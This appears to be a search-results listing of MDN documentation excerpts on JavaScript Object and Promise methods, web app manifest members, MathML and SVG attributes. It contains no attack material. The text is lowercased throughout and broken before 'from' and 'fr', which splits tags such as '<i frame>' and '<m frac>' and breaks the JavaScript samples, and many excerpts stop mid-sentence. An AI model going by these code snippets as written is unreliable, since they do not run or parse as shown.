data descriptors and accessor descriptors may optionally contain the following keys: configurable true if and only if the type of this property descriptor may be changed and if the property may be deleted
from the corresponding object.
Object.entries() - JavaScript
with object.entries, you can easily convert
from object to map: const obj = { foo: 'bar', baz: 42 }; const map = new map(object.entries(obj)); console.log(map); // map { foo: "bar", baz: 42 } iterating through an object using array destructuring, you can iterate through objects easily.
Object.getOwnPropertyNames() - JavaScript
childclass() { this.prop = 5; this.method = function() {}; } childclass.prototype = new parentclass; childclass.prototype.prototypemethod = function() {}; console.log( object.getownpropertynames( new childclass() // ["prop", "method"] ) ); get non-enumerable properties only this uses the array.prototype.filter() function to remove the enumerable keys (obtained with object.keys())
from a list of all keys (obtained with object.getownpropertynames()) thus giving only the non-enumerable keys as output.
Object.prototype.hasOwnProperty() - JavaScript
necessary to use an external hasownproperty to get correct results: var foo = { hasownproperty: function() { return false; }, bar: 'here be dragons' }; foo.hasownproperty('bar'); // always returns false // use another object's hasownproperty // and call it with 'this' set to foo ({}).hasownproperty.call(foo, 'bar'); // true // it's also possible to use the hasownproperty property //
from the object prototype for this purpose object.prototype.hasownproperty.call(foo, 'bar'); // true note that in the last case there are no newly created objects.
Promise.any() - JavaScript
promise.any() takes an iterable of promise objects and, as soon as one of the promises in the iterable fulfils, returns a single promise that resolves with the value
from that promise.
Promise.race() - JavaScript
the promise.race() method returns a promise that fulfills or rejects as soon as one of the promises in an iterable fulfills or rejects, with the value or reason
from that promise.
background_color - Web app manifests
note: the background_color member is only meant to improve the user experience while the main stylesheet is loading
from the network or the storage media; it is not used by the user agent as the background-color css property when the progressive web app stylesheet is available.
iarc_rating_id - Web app manifests
note: the same code can be shared across multiple participating store
fronts, as long as the distributed product remains the same (i.e., doesn’t serve totally different code paths on different store
fronts).
serviceworker - Web app manifests
examples "serviceworker": { "src": "./serviceworker.js", "scope": "/app", "type": "", "update_via_cache": "none" } values service worker contain the following values (only src is required): member description src the url to download the service worker script
from.
start_url - Web app manifests
type string mandatory no the start_url member is a string that represents the start url of the web application — the prefered url that should be loaded when the user launches the web application (e.g., when the user taps on the web application's icon
from a device's application menu or homescreen).
<menclose> - MathML
a2 + b2 circle left a2 + b2 line to the left of the contents right a2 + b2 line to the right of the contents top a2 + b2 line above of the contents bottom a2 + b2 line below of the contents updiagonalstrike a2 + b2 strikeout line through contents
from lower left to upper right downdiagonalstrike a2 + b2 strikeout line through contents
from upper left to lower right verticalstrike a2 + b2 vertical strikeout line through contents horizontalstrike a2 + b2 horizontal strikeout line through contents madruwb a2 + b2 arabic factorial ...
<mi> - MathML
the following values are allowed: normal (default value for more than one character) ; example bold ; example italic (default value for a single character) ; example bold-italic ; example double-struck ; example bold-
fraktur ; example script ; example bold-script ; example
fraktur ; example sans-serif ; example bold-sans-serif ; example sans-serif-italic ; example sans-serif-bold-italic ; example monospace ; example initial ; مثال tailed ; مثال looped ; مثال stretched ; مثال examples <math> <mi> y </mi> <mi> sin </mi> <mi mathvariant="monospace">...
<mn> - MathML
the following values are allowed: normal (default value) ; example bold ; example italic ; example bold-italic ; example double-struck ; example bold-
fraktur ; example script ; example bold-script ; example
fraktur ; example sans-serif ; example bold-sans-serif ; example sans-serif-italic ; example sans-serif-bold-italic ; example monospace ; example initial ; مثال tailed ; مثال looped ; مثال stretched ; مثال examples <math> <mn> 0 </mn> <mn> 1.337 </mn> <mn> twelve </mn> <mn> x...
<ms> - MathML
the following values are allowed: normal (default value) ; example bold ; example italic ; example bold-italic ; example double-struck ; example bold-
fraktur ; example script ; example bold-script ; example
fraktur ; example sans-serif ; example bold-sans-serif ; example sans-serif-italic ; example sans-serif-bold-italic ; example monospace ; example initial ; مثال tailed ; مثال looped ; مثال stretched ; مثال rquote the closing quote mark (depends on dir) to enclose the content.
<mstyle> - MathML
<math> <mstyle displaystyle="true" mathcolor="teal"> <mrow> <munderover> <mo stretchy="true" form="prefix">∑</mo> <mrow> <mi>i</mi> <mo form="infix">=</mo> <mn>1</mn> </mrow> <mi>n</mi> </munderover> <mstyle displaystyle="true"> <m
frac> <mn>1</mn> <mi>n</mi> </m
frac> </mstyle> </mrow> </mstyle> </math> specifications specification status comment mathml 3.0the definition of 'mstyle' in that specification.
<msup> - MathML
superscriptshift the minimum space by which to shift the superscript up
from the baseline of the expression, as a length value.
<mtext> - MathML
the following values are allowed: normal (default value) ; example bold ; example italic ; example bold-italic ; example double-struck ; example bold-
fraktur ; example script ; example bold-script ; example
fraktur ; example sans-serif ; example bold-sans-serif ; example sans-serif-italic ; example sans-serif-bold-italic ; example monospace ; example normal (default) ; مثال initial ; مثال tailed ; مثال looped ; مثال stretched ; مثال examples <math> <mtext> theorem of pythagoras </m...
MathML
getting help
from the community view mozilla forums...
Using dns-prefetch - Web Performance
when a browser requests a resource
from a (third party) server, that cross-origin’s domain name must be resolved to an ip address before the browser can issue the request.
Web API reference - Web technology reference
these can be accessed using javascript code, and let you do anything
from making minor adjustments to any window or element, to generating intricate graphical and audio effects using apis such as webgl and web audio.
attributeName - SVG: Scalable Vector Graphics
four elements are using this attribute: <animate>, <animatecolor>, <animatetransform>, and <set> html, body, svg { height: 100%; } <svg viewbox="0 0 250 250" xmlns="http://www.w3.org/2000/svg"> <rect x="50" y="50" width="100" height="100"> <animate attributetype="xml" attributename="y"
from="0" to="50" dur="5s" repeatcount="indefinite"/> </rect> </svg> usage notes value <name> default value none animatable no <name> this value indicates the name of the css property or attribute of the target element to be animated.
attributeType - SVG: Scalable Vector Graphics
four elements are using this attribute: <animate>, <animatecolor>, <animatetransform>, and <set> html, body, svg { height: 100%; } <svg viewbox="0 0 250 250" xmlns="http://www.w3.org/2000/svg"> <rect x="50" y="50" width="100" height="100"> <animate attributetype="xml" attributename="y"
from="0" to="50" dur="5s" repeatcount="indefinite"/> </rect> </svg> usage notes value css | xml | auto default value auto animatable no css this value specifies that the value of attributename is the name of a css property defined as animatable.
clip - SVG: Scalable Vector Graphics
the <top> and <bottom> values specify offsets
from the top border edge of the element viewport, while <right> and <left> specify offsets
from the left border edge of the element viewport.
color-rendering - SVG: Scalable Vector Graphics
>, <image>, <line>, <lineargradient>, <marker>, <mask>, <missing-glyph>, <path>, <pattern>, <polygon>, <polyline>, <radialgradient>, <rect>, <svg>, <switch>, <symbol>, <text>, <textpath>, <tspan>, and <use> html, body, svg { height: 100%; } <svg viewbox="0 0 480 200" xmlns="http://www.w3.org/2000/svg"> <defs> <radialgradient id="gradient" cx="0.5" cy="0.5" r="0.5" fx="0.35" fy="0.35"
fr="5%"> <stop offset="0%" stop-color="white"/> <stop offset="100%" stop-color="darkseagreen"/> </radialgradient> </defs> <circle cx="100" cy="100" r="100" fill="url(#gradient)" color-rendering="optimizequality" /> <text x="45" y="50%" color-rendering="optimizequality">quality-optimized</text> <circle cx="100" cy="100" r="100" color-rendering="optimizespeed" fill="url(#grad...
id - SVG: Scalable Vector Graphics
note: you should avoid the use of id values that would be parsed as an svg view specification (e.g., mydrawing.svg#svgview(viewbox(0,200,1000,1000))) or a basic media
fragment when used as a url target
fragment.
maskUnits - SVG: Scalable Vector Graphics
objectboundingbox this value indicates that all coordinates for the geometry attributes represent
fractions or percentages of the bounding box of the element to which the mask is applied.
opacity - SVG: Scalable Vector Graphics
as a presentation attribute, it can be applied to any element but it has effect only on the following elements: <a>, <audio>, <canvas>, <circle>, <ellipse>, <foreignobject>, <g>, <i
frame>, <image>, <line>, <marker>, <path>, <polygon>, <polyline>, <rect>, <svg>, <switch>, <symbol>, <text>, <textpath>, <tspan>, <use>, <unknown>, and <video> html, body, svg { height: 100%; } <svg viewbox="0 0 200 100" xmlns="http://www.w3.org/2000/svg"> <defs> <lineargradient id="gradient" x1="0%" y1="0%" x2="0" y2="100%"> <stop offset="0%" style="stop-color:skyblue;" /> ...
order - SVG: Scalable Vector Graphics
only one element is using this attribute: <feconvolvematrix> html, body, svg { height: 100%; } <svg viewbox="0 0 420 200" xmlns="http://www.w3.org/2000/svg"> <filter id="emboss1" x="0" y="0" width="100%" height="100%"> <feturbulence base
frequency="0.025" seed="0" /> <feconvolvematrix kernelmatrix="3 0 0 0 0 0 0 0 -4" order="3"/> </filter> <filter id="emboss2" x="0" y="0" width="100%" height="100%"> <feturbulence base
frequency="0.025" seed="0" /> <feconvolvematrix kernelmatrix="3 0 0 0 0 0 0 0 -4" order="1 1 1"/> </filter> <rect x="0" y="0" width="200" height="200" style="filter:url(#emboss1);" /> <rect x="0" y="0" width="200" height="200" style="filter:url(#e...
overflow - SVG: Scalable Vector Graphics
as a presentation attribute, it can be applied to any element but it has effect only on the following eight elements: <foreignobject>, <i
frame>, <image>, <marker>, <pattern>, <symbol>, <svg>, and <text> html, body, svg { height: 100%; } <svg viewbox="0 0 200 30" xmlns="http://www.w3.org/2000/svg" overflow="auto"> <text y="20">this text is wider than the svg, so there should be a scrollbar shown.</text> </svg> usage notes value visible | hidden | scroll | auto default value visible animat...
patternUnits - SVG: Scalable Vector Graphics
objectboundingbox this value indicates that all coordinates for the geometry properties represent
fractions or percentages of the bounding box of the element to which the mask is applied.
refX - SVG: Scalable Vector Graphics
for backwards compatibility, the behavior when refx is not specified on a <symbol> element is different
from when it is specified with a value of 0, and therefore different
from the behavior when an equivalent attribute is not specified on a <marker> element.
refY - SVG: Scalable Vector Graphics
for backwards compatibility, the behavior when refy is not specified on a <symbol> element is different
from when it is specified with a value of 0, and therefore different
from the behavior when an equivalent attribute is not specified on a <marker> element.
repeatDur - SVG: Scalable Vector Graphics
five elements are using this attribute: <animate>, <animatecolor>, <animatemotion>, <animatetransform>, and <set> html, body, svg { height: 100%; } <svg viewbox="0 0 220 150" xmlns="http://www.w3.org/2000/svg"> <rect x="0" y="0" width="100" height="100"> <animate attributetype="xml" attributename="y"
from="0" to="50" dur="1s" repeatdur="5s"/> </rect> <rect x="120" y="0" width="100" height="100"> <animate attributetype="xml" attributename="y"
from="0" to="50" dur="1s" repeatdur="indefinite"/> </rect> </svg> usage notes value <clock-value> | indefinite default values none animatable no <clock-value> this value specifies t...
restart - SVG: Scalable Vector Graphics
five elements are using this attribute: <animate>, <animatecolor>, <animatemotion>, <animatetransform>, and <set> html, body, svg { height: 100%; } a { fill: blue; text-decoration: underline; cursor: pointer; } <svg viewbox="0 0 220 200" xmlns="http://www.w3.org/2000/svg"> <rect y="30" width="100" height="100"> <animate attributetype="xml" attributename="y"
from="30" to="100" dur="5s" repeatcount="1" restart="always" /> </rect> <rect x="120" y="30" width="100" height="100"> <animate attributetype="xml" attributename="y"
from="30" to="100" dur="5s" repeatcount="1" restart="whennotactive"/> </rect> <a id="restart"><text y="20">restart animation</text></a> </svg> document.getelementbyid("restart").addeventlistener("click", evt...
scale - SVG: Scalable Vector Graphics
only one element is using this attribute: <fedisplacementmap> html, body, svg { height: 100%; } <svg viewbox="0 0 480 220" xmlns="http://www.w3.org/2000/svg"> <filter id="displacementfilter" x="-20%" y="-20%" width="140%" height="140%"> <feturbulence type="turbulence" base
frequency="0.05" numoctaves="2" result="turbulence"/> <fedisplacementmap in2="turbulence" in="sourcegraphic" scale="5"/> </filter> <filter id="displacementfilter2" x="-20%" y="-20%" width="140%" height="140%"> <feturbulence type="turbulence" base
frequency="0.05" numoctaves="2" result="turbulence"/> <fedisplacementmap in2="turbulence" in="sourcegraphic" scale="50"/> </filter> <ci...
side - SVG: Scalable Vector Graphics
only one element is using this attribute: <textpath> html, body, svg { height: 100%; } text { font: 25px arial, helvelica, sans-serif; } <svg viewbox="0 0 420 200" xmlns="http://www.w3.org/2000/svg"> <text> <textpath href="#circle1" side="left">text left
from the path</textpath> </text> <text> <textpath href="#circle2" side="right">text right
from the path</textpath> </text> <circle id="circle1" cx="100" cy="100" r="70" fill="transparent" stroke="silver"/> <circle id="circle2" cx="320" cy="100" r="70" fill="transparent" stroke="silver"/> </svg> usage notes value left | right default value left animatable yes ...
startOffset - SVG: Scalable Vector Graphics
the startoffset attribute defines an offset
from the start of the path for the initial current text position along the path after converting the path to the <textpath> element's coordinate system.
stemh - SVG: Scalable Vector Graphics
for example, the main vertical stems of roman characters will differ
from the thin stems on serifed "m" and "n", plus there may be different widths for uppercase and lowercase characters in the same font.
stroke-linecap - SVG: Scalable Vector Graphics
necap="square" /> <!-- the following pink lines highlight the position of the path for each stroke --> <path d="m1,1 h4" stroke="pink" stroke-width="0.025" /> <circle cx="1" cy="1" r="0.05" fill="pink" /> <circle cx="5" cy="1" r="0.05" fill="pink" /> <circle cx="3" cy="3" r="0.05" fill="pink" /> </svg> browser compatibility the compatibility table on this page is generated
from structured data.
stroke-linejoin - SVG: Scalable Vector Graphics
if the stroke-miterlimit is exceeded, the miter is clipped at a distance equal to half the stroke-miterlimit value multiplied by the stroke width
from the intersection of the path segments.
systemLanguage - SVG: Scalable Vector Graphics
35 elements are using this attribute: <a>, <altglyph>, <animate>, <animatecolor>, <animatemotion>, <animatetransform>, <audio>, <canvas>, <circle>, <clippath>, <cursor>, <defs>, <discard>, <ellipse>, <foreignobject>, <g>, <i
frame>, <image>, <line>, <mask>, <path>, <pattern>, <polygon>, <polyline>, <rect>, <set>, <svg>, <switch>, <text>, <textpath>, <tref>, <tspan>, <unknown>, <use>, and <video> usage notes value <language-tags> default value none animatable no <language-tags> the value is a set of comma-separated tokens, each of which must be a language-tag value, as defined in bcp 47.
type - SVG: Scalable Vector Graphics
animatable yes normative document svg 1.1 (2nd edition) for the <fefuncr>, <fefuncg>, <fefuncb>, and <fefunca> elements categories none value identity | table | discrete | linear | gamma animatable yes normative document svg 1.1 (2nd edition) for the <feturbulence> element categories none value
fractalnoise | turbulence animatable yes normative document svg 1.1 (2nd edition) for the <style> and <script> elements categories none value <content-type> animatable no normative document svg 1.1 (2nd edition) : script svg 1.1 (2nd edition) : style example elements the following elements can use the values...
visibility - SVG: Scalable Vector Graphics
as a presentation attribute, it can be applied to any element but it has effect only on the following nineteen elements: <a>, <altglyph>, <audio>, <canvas>, <circle>, <ellipse>, <foreignobject>, <i
frame>, <image>, <line>, <path>, <polygon>, <polyline>, <rect>, <text>, <textpath>, <tref>, <tspan>, <video> html, body, svg { height: 100%; } <svg viewbox="0 0 220 120" xmlns="http://www.w3.org/2000/svg"> <rect x="10" y="10" width="200" height="100" stroke="black" stroke-width="5" fill="transparent" /> <g stroke="seagreen" stroke-width="5" fill="skyblue"> <rect x="20" y="20" wi...
<altGlyph> - SVG: Scalable Vector Graphics
if the reference is to an <altglyphdef> element, then if an appropriate set of alternate glyphs is located
from processing the <altglyphdef> element, then those alternate glyphs are rendered instead of the character(s) that are inside of the <altglyph> element.
<animate> - SVG: Scalable Vector Graphics
<svg viewbox="0 0 10 10" xmlns="http://www.w3.org/2000/svg"> <rect width="10" height="10"> <animate attributename="rx" values="0;5;0" dur="10s" repeatcount="indefinite" /> </rect> </svg> attributes animation attributes animation timing attributes begin, dur, end, min, max, restart, repeatcount, repeatdur, fill animation value attributes calcmode, values, keytimes, keysplines,
from, to, by other animation attributes most notably: attributename, additive, accumulate animation event attributes most notably: onbegin, onend, onrepeat global attributes core attributes most notably: id styling attributes class, style event attributes global event attributes, document element event attributes usage notes this element implements the svganimateelement interface.
<animateMotion> - SVG: Scalable Vector Graphics
value type: <number>|auto|auto-reverse; default value: 0; animatable: no note: for <animatemotion> the default value for the calcmode attribute is paced animation attributes animation timing attributes begin, dur, end, min, max, restart, repeatcount, repeatdur, fill animation value attributes calcmode, values, keytimes, keysplines,
from, to, by other animation attributes most notably: attributename, additive, accumulate animation event attributes most notably: onbegin, onend, onrepeat global attributes core attributes most notably: id styling attributes class, style event attributes global event attributes, document element event attributes usage notes this element implements the svganimatemotionelement interf...
<clipPath> - SVG: Scalable Vector Graphics
*/ @key
frames openyourheart {
from {r: 0} to {r: 60px}} #myclip circle { animation: openyourheart 15s infinite; } a clipping path is conceptually equivalent to a custom viewport for the referencing element.
<defs> - SVG: Scalable Vector Graphics
graphical objects can be referenced
from anywhere, however, defining these objects inside of a <defs> element promotes understandability of the svg content and is beneficial to the overall accessibility of the document.
<feFlood> - SVG: Scalable Vector Graphics
working draft removed <icccolor> value
from flood-color property and defined that the alpha channel of it gets multiplied with the computed value of the flood-opacity property.
<feImage> - SVG: Scalable Vector Graphics
the <feimage> svg filter primitive fetches image data
from an external source and provides the pixel data as output (meaning if the external source is an svg image, it is rasterized.) usage context categoriesfilter primitive elementpermitted contentany number of the following elements, in any order:<animate>, <animatetransform>, <set> attributes global attributes core attributes presentation attributes filter primitive attributes xlink attributes class style externalresourcesrequired specific attributes preserveaspectratio xlink:href dom interface this element implements the svgfeimageelement interface.
<glyph> - SVG: Scalable Vector Graphics
example svg <svg width="400px" height="300px" version="1.1" xmlns="http://www.w3.org/2000/svg"> <!-- example copied
from https://www.w3.org/tr/svg/fonts.html#glyphelement --> <defs> <font id="font1" horiz-adv-x="1000"> <font-face font-family="super sans" font-weight="bold" font-style="normal" units-per-em="1000" cap-height="600" x-height="400" ascent="700" descent="300" alphabetic="0" mathematical="350" ideographic="400" hanging="500"> <font-face-src> <...
<switch> - SVG: Scalable Vector Graphics
wbox="0 -20 100 50"> <switch> <text systemlanguage="ar">مرحبا</text> <text systemlanguage="de,nl">hallo!</text> <text systemlanguage="en-us">howdy!</text> <text systemlanguage="en-gb">wotcha!</text> <text systemlanguage="en-au">g'day!</text> <text systemlanguage="en">hello!</text> <text systemlanguage="es">hola!</text> <text systemlanguage="
fr">bonjour!</text> <text systemlanguage="ja">こんにちは</text> <text systemlanguage="ru">Привет!</text> <text>☺</text> </switch> </svg> result specifications specification status comment scalable vector graphics (svg) 2the definition of '<switch>' in that specification.
<symbol> - SVG: Scalable Vector Graphics
value type: <length>|<percentage> ; default value: auto; animatable: yes preserveaspectratio this attribute defines how the svg
fragment must be deformed if it is embedded in a container with a different aspect ratio.
Other Resources - SVG: Scalable Vector Graphics
here is a list of additional resources on svg: mozilla svg resources svg.org svgbasics tutorials w3c svg homepage svg wiki http://wiki.svg.org/index.php?title=..._configuration i moved this
from the other resources category, not sure why it's in other resources -nickolay http://developer.mozilla.org/en/docs...%28external%29 ...
SVG as an Image - SVG: Scalable Vector Graphics
note that the above restrictions are specific to image contexts; they don't apply when svg content is viewed directly, or when it's embedded as a document via the <i
frame>, <object>, or <embed> elements.
Basic Transformations - SVG: Scalable Vector Graphics
to combine several transformations, one can set the resulting matrix directly with the matrix(a, b, c, d, e, f) transformation which maps coordinates
from a previous coordinate system into a new coordinate system by {xnewcoordsys=axprevcoordsys+cyprevcoordsys+eynewcoordsys=bxprevcoordsys+dyprevcoordsys+f\left{ \begin{matrix} x_{\mathrm{prevcoordsys}} = a x_{\mathrm{newcoordsys}} + c y_{\mathrm{newcoordsys}} + e \\ y_{\mathrm{prevcoordsys}} = b x_{\mathrm{newcoordsys}} + d y_{\mathrm{newcoordsys}} + f \end{matrix} \right.
SVG image element - SVG: Scalable Vector Graphics
ml version="1.0" standalone="no"?> <!doctype svg public "-//w3c//dtd svg 1.1//en" "http://www.w3.org/graphics/svg/1.1/dtd/svg11.dtd"> <svg width="5cm" height="4cm" version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <image href="firefox.jpg" x="0" y="0" height="50px" width="50px"/> </svg> there are some important things to take note of (referenced
from the w3 specs): if you do not set the x or y attributes, they will be set to 0.